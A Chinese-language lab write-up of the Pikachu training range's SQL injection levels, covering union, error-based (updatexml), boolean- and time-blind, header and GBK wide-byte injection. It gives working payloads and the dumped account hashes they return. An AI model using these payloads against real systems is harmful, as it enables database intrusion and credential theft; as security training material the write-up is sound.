[Pikachu 靶場] 4-SQL 注入
0x00 SQLi(SQL Injection,SQL 注入)
注入漏洞應該是最可怕的漏洞型別了,而資料庫注入漏洞又是其中最可怕的分類。
由於語言銜接問題造成的注入漏洞可謂是五花八門,比如 CVE-2017-12635 就是因為 Erlang 和 JavaScript 對於 JSON 重複鍵的解析存在差異,導致惡意注入許可權記錄。從後端到資料庫難以避免語言的過渡銜接,如果後端沒能處理好前端傳來的輸入,就可能形成破壞性的 SQL 語句。
一般從如下幾個方面考慮防範 SQL 注入:
- 對 SQL 中的變數進行過濾,不允許危險字元傳入;
- 引數化請求(Parameterized Query),減少複雜易出錯的 SQL “長難句”;
- 框架,許多 ORM 框架都是用引數化解決注入問題,但是也要防範 ORM 自身也存在字串拼接方法。
SQLi 每個實驗都需要反覆嘗試,圖太多了,這裡只貼出關鍵資訊的字串。
0x01 數字型注入(POST)
1. 原始碼
檢視原始碼可知未對id
做任何過濾,直接拼接進入 SQL 語句中。
if(isset($_POST['submit']) && $_POST['id']!=null){ //這裡沒有做任何處理,直接拼到select裡面去了,形成Sql注入 $id=$_POST['id']; $query="select username,email from member where id=$id"; $result=execute($link, $query); //這裡如果用==1,會嚴格一點 if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $username=$data['username']; $email=$data['email']; $html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您輸入的user id不存在,請重新輸入!</p>"; } }
2. 逐步查詢
通過直接抓包來修改id
,免去前端種種限制。
閉合測試
-
Payload:
id=1'
-
報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
可知存在 SQL 注入問題。
判斷欄位數
-
Payload:
id=1 order by 3
-
報錯:
Unknown column '3' in 'order clause'
-
Payload:
id=1 order by 2
-
回顯:
<p class='notice'>hello,vince <br />your email is: [email protected]</p>
可知欄位數為 2。
判斷回顯位
- Payload:
id=1 union select 1,2
- 回顯:
<p class='notice'>hello,vince <br />your email is: [email protected]</p><p class='notice'>hello,1 <br />your email is: 2</p>
可知在“1”和“2”處均可以顯示想要的資訊。
檢視資料庫名和使用者名稱
- Payload:
id=1 union select user(),database()
- 回顯:
<p class='notice'>hello,vince <br />your email is: [email protected]</p><p class='notice'>hello,root@localhost <br />your email is: pikachu</p>
得到使用者名稱 root@localhost,資料庫名 pikachu。
檢視 pikachu 下的所有表名
- Payload:
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'
- 回顯:
<p class='notice'>hello,vince <br />your email is: [email protected]</p><p class='notice'>hello,1 <br />your email is: httpinfo,member,message,users,xssblind</p>
得到表名有 httpinfo、member、message、users、xssblind。
查詢 users 表中的欄位
- Payload:
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
- 回顯:
<p class='notice'>hello,vince <br />your email is: [email protected]</p><p class='notice'>hello,1 <br />your email is: USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level</p>
得到欄位名有 USER、CURRENT_CONNECTIONS、TOTAL_CONNECTIONS、id、username、password、level、id、username、password、level。
查詢欄位 username 和 password 的內容
- Payload:
id=1 union select group_concat(username),group_concat(password) from users
- 回顯:
<p class='notice'>hello,vince <br />your email is: [email protected]</p><p class='notice'>hello,admin,pikachu,test <br />your email is: e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03</p>
3. 結果
得到三組賬戶(密碼以 MD5 形式儲存):
- admin,e10adc3949ba59abbe56e057f20f883e(123456)
- pikachu,670b14728ad9902aecba32e22fa4f6bd(000000)
- test,e99a18c428cb38d5f260853678922e03(abc123)
0x02 字元型注入(GET)
因為是 GET 方法,就比較方便,直接改 URL 就行。
閉合測試
-
Payload:
name='&submit=%E6%9F%A5%E8%AF%A2
-
報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
可知存在 SQL 注入問題。
邏輯或
-
Payload:
name=' or 1=1 --+&submit=%E6%9F%A5%E8%AF%A2
-
回顯:
your uid:1
your email is: [email protected]your uid:2
your email is: [email protected]your uid:3
your email is: [email protected]your uid:4
your email is: [email protected]your uid:5
your email is: [email protected]your uid:6
your email is: [email protected]your uid:7
your email is: [email protected]
可知所有賬戶資料。
判斷欄位數
- Payload:
name=' order by 2 --+&submit=%E6%9F%A5%E8%AF%A2
- 回顯:
您輸入的username不存在,請重新輸入!
- Payload:
name=' order by 3 --+&submit=%E6%9F%A5%E8%AF%A2
- 回顯:
Unknown column '3' in 'order clause'
可知欄位數為 2。
判斷回顯位
-
Payload:
name=' union select 1,2--+&submit=%E6%9F%A5%E8%AF%A2
-
回顯:
your uid:1
your email is: 2
檢視使用者名稱和資料庫名
-
Payload:
name=' union select user(),database()--+&submit=%E6%9F%A5%E8%AF%A2
-
回顯:
your uid:root@localhost
your email is: pikachu
可知使用者名稱 root@localhost,資料庫名 pikachu。
檢視 pikachu 下的所有表名
-
Payload:
name=' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' --+&submit=%E6%9F%A5%E8%AF%A2
-
回顯:
your uid:1
your email is: httpinfo,member,message,users,xssblind
檢視 users 表中的欄位
-
Payload:
name=' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&submit=%E6%9F%A5%E8%AF%A2
-
回顯:
your uid:1
your email is: USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level
檢視 users 中的賬戶
-
Payload:
name=' union select group_concat(username),group_concat(password) from users --+&submit=%E6%9F%A5%E8%AF%A2
-
回顯:
your uid:admin,pikachu,test
your email is: e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03
完成。
0x03 搜尋型注入
同樣是 GET 方法,修改 URL 即可。
與上一題類似,只是多了一個回顯位。
判斷回顯位
-
Payload:
name=' union select 1,2,3 --+&submit=%E6%90%9C%E7%B4%A2
-
回顯:
username:vince
uid:1
email is: [email protected]username:allen
uid:2
email is: [email protected]username:kobe
uid:3
email is: [email protected]username:grady
uid:4
email is: [email protected]username:kevin
uid:5
email is: [email protected]username:lucy
uid:6
email is: [email protected]username:lili
uid:7
email is: [email protected]username:1
uid:2
email is: 3
檢視 users 表中的賬戶
-
Payload:
name=' union select 1,group_concat(username),group_concat(password) from users --+&submit=%E6%90%9C%E7%B4%A2
-
回顯:
username:vince
uid:1
email is: [email protected]username:allen
uid:2
email is: [email protected]username:kobe
uid:3
email is: [email protected]username:grady
uid:4
email is: [email protected]username:kevin
uid:5
email is: [email protected]username:lucy
uid:6
email is: [email protected]username:lili
uid:7
email is: [email protected]username:1
uid:admin,pikachu,test
email is: e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03
完成。
0x04 xx 型注入
本來還在納悶 xx 型是什麼型,看了眼提示( ̄﹃ ̄):
閉合測試
- Payload:
name=%27&submit=%E6%9F%A5%E8%AF%A2#
- 報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 1
根據報錯得到閉合符號。
- Payload:
name=') --+&submit=%E6%9F%A5%E8%AF%A2#
- 回顯:
您輸入的username不存在,請重新輸入!
之後內容同上理。
檢視 users 中的賬戶
-
Payload:
name=') union select group_concat(username),group_concat(password) from users --+&submit=%E6%9F%A5%E8%AF%A2#
-
回顯:
your uid:admin,pikachu,test
your email is: e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03
完成。
0x05 insert/update 注入
1. insert 注入
在註冊時抓包分析。
閉合測試
-
Payload:
username='
-
報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'test'),'man','1234567890','[email protected]','docker')' at line 1
可知存在 SQL 注入。
因為注入問題存在於註冊功能,無法直接取得回顯(根本就沒有回顯位),所以這裡應當考慮報錯注入。
查詢庫名
- Payload:
username=' or updatexml(1,concat(0x7e,database()),0) or'
- 報錯:
XPATH syntax error: '~pikachu'
查詢使用者名稱
- Payload:
username=' or updatexml(1,concat(0x7e,user()),0) or'
- 報錯:
XPATH syntax error: '~root@localhost'
檢視 pikachu 下的所有表名
- Payload:
username=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),1)or'
- 報錯:
XPATH syntax error: '~httpinfo,member,message,users,x'
此處發現顯示不全,顯然是報錯有長度限制。進一步可以使用left
、mid
、right
分段顯示。
下面使用right
從右到左顯示 22 個字元。
- Payload:
username=' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),22)),1)or'
- 報錯:
XPATH syntax error: '~message,users,xssblind'
這樣就顯示出之前缺失的部分,也就是還有一個xssblind
表。
除了上述方法,還可以使用limit
逐個讀取表名,通過limit
後面的引數調整顯示的表名。
- Payload:
username=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),1)or'
- 報錯:
XPATH syntax error: '~httpinfo'
檢視 users 表中的所有欄位
- Payload:
username=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)or'
- 報錯:
XPATH syntax error: '~USER,CURRENT_CONNECTIONS,TOTAL_'
同樣出現了長度不夠的問題,使用limit
精準讀取。
- Payload:
username=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)or'
- 報錯:
XPATH syntax error: '~USER'
可以得到 id、username、password 等。
檢視 username 的記錄
- Payload:
username=' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or'
- 報錯:
XPATH syntax error: '~admin,pikachu,test'
檢視 password 的記錄
由於 password 的記錄較長(之前已知為 MD5 值),所以使用limit
讀取。
- Payload:
username=' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or'
- 報錯:
XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883'
逐個讀取即可。
2. update 注入
首先利用已知賬戶 kobe/123456 登入,修改個人資訊並抓包。
測試閉合
- Payload:
sex='
- 報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1234567890',address='docker',email='[email protected]' where username='kobe'' at line 1
可知存在 SQL 注入問題。
逐步查詢
之後的步驟與 insert 注入類似。
-
Payload:
sex=' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)or'
-
報錯:
XPATH syntax error: '~admin,pikachu,test'
-
Payload:
sex=' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)or'
-
報錯:
XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883'
0x06 delete 注入
這裡還存留著 XSS 的測試內容。
1. 原始碼
檢視原始碼可知,沒有對 GET 的引數做任何處理,直接拼接到 SQL 語句中。
2. 抓包
輸入“testtest”,點選提交,再點選刪除,檢視抓包內容:
一個 GET 方法,僅根據id
就把留言板內容刪了,現實中要是有這種設計就是大聰明瞭。
3. 逐步查詢
由於在 URL 中編寫,需要特別關注編碼問題,比如空格應當為%20
。
閉合測試
- Payload:
id=59'
- 報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
查詢資料庫名
- Payload:
id=59%20or%20updatexml(1,concat(0x7e,(select%20database())),1)
- 報錯:
XPATH syntax error: '~pikachu'
之後的操作與上一題類似,還免去了閉合單引號的工作。
查詢賬戶
-
Payload:
id=58%20or%20updatexml(1,concat(0x7e,(select%20group_concat(username)%20from%20users)),1)
-
報錯:
XPATH syntax error: '~admin,pikachu,test'
-
Payload:
id=59%20or%20updatexml(1,concat(0x7e,(select%20password%20from%20users%20limit%200,1)),1)
-
報錯:
XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883'
0x07 HTTP Header 注入
使用 admin/123456 登入。
與之前類似,只不過注入點變成了 User-Agent 和 Accept。
-
Payload:
User-Agent: '
-
報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','104' at line 1
後續操作與上題相同。
0x08 bool 盲注
查詢結果只存在 True 或 False(存在或不存在),沒有更多的報錯資訊可以挖掘。
測試
-
Payload:
lucy
-
回顯:
your uid:6
your email is: [email protected] -
Payload:
lucy'
-
回顯:
您輸入的username不存在,請重新輸入!
後面將回顯結果簡化為 True 和 False。
判斷資料庫名長度
- Payload:
lucy' and length(database())>7-- q
- 回顯:False
- Payload:
lucy' and length(database())>6-- q
- 回顯:True
說明資料庫名長度為 7。
查詢資料庫名
- Payload:
lucy' and (substr(database(),1,1))='p'-- q
- 回顯:True
說明資料庫名的第一個字母為 p。
以此類推,得到庫名 pikachu。
**查詢表名 **
- Payload:
lucy' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='h'-- q
- 回顯:True
以此類推,得到全部表名:httpinfo,member,message,users,xssblind。
查詢 users 表中的欄位
- Payload:
lucy' and (substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))='i'-- q
- 回顯:True
以此類推,得到全部欄位名:id,username,password,level,id,username,password。
查詢記錄
- Payload:
lucy' and (substr((select username from users limit 0,1),1,1))='a'-- q
- 回顯:True
以此類推,得到三個賬戶的使用者名稱和密碼(MD5值)。
0x09 時間盲注
根據sleep()
函式是否被執行獲得類似於 bool 的資訊。
測試
- Payload:
kobe%27+and+sleep%283%29--%20q
- 執行:是
說明存在時間盲注問題(Payload 已經進行了 URL 轉碼的,不得再填寫於輸入框內,直接寫在 URL 中)。
判斷資料庫名長度
- Payload:
kobe%27+and sleep(if((length(database())=7),0,3))--%20q
- 執行:是
判斷資料庫名
-
Payload:
kobe' and if(substr(database(),1,1)='p',0,sleep(3))-- q
-
執行:是
以此類推,得到資料庫名 pikachu。
判斷表名
- Payload:
kobe' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='h',0,sleep(3))-- q
判斷欄位名
- Payload:
kobe' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',0,sleep(3))-- q
查詢記錄
- Payload:
kobe' and if(substr((select username from users limit 0,1),1,1)='a',0,sleep(3))-- q
0x0A 寬位元組注入
如果資料庫用的是 GBK 編碼,可以通過逃逸轉義使一些惡意字元發揮作用。比如:
'
會被\
轉義,\
的 GBK 編碼為%5c
,而%df%5c
是“連”的編碼,所以通過%df
使%5c
失效,達成了單引號的逃逸。
- Payload:
kobe%df' or 1=1 -- q
(抓 POST 包,不用 URL 編碼) - 回顯:
<p class='notice'>your uid:1 <br />your email is: [email protected]</p><p class='notice'>your uid:2 <br />your email is: [email protected]</p><p class='notice'>your uid:3 <br />your email is: [email protected]</p><p class='notice'>your uid:4 <br />your email is: [email protected]</p><p class='notice'>your uid:5 <br />your email is: [email protected]</p><p class='notice'>your uid:6 <br />your email is: [email protected]</p><p class='notice'>your uid:7 <br />your email is: [email protected]</p><p class='notice'>your uid:25 <br />your email is: [email protected]</p>
可以看到一個or
導致語句為真,將所有記錄查詢了出來。
判斷回顯位
- Payload:
kobe%df' union select 1,2-- q
之後過程類似於字元型注入(GET),不再贅述。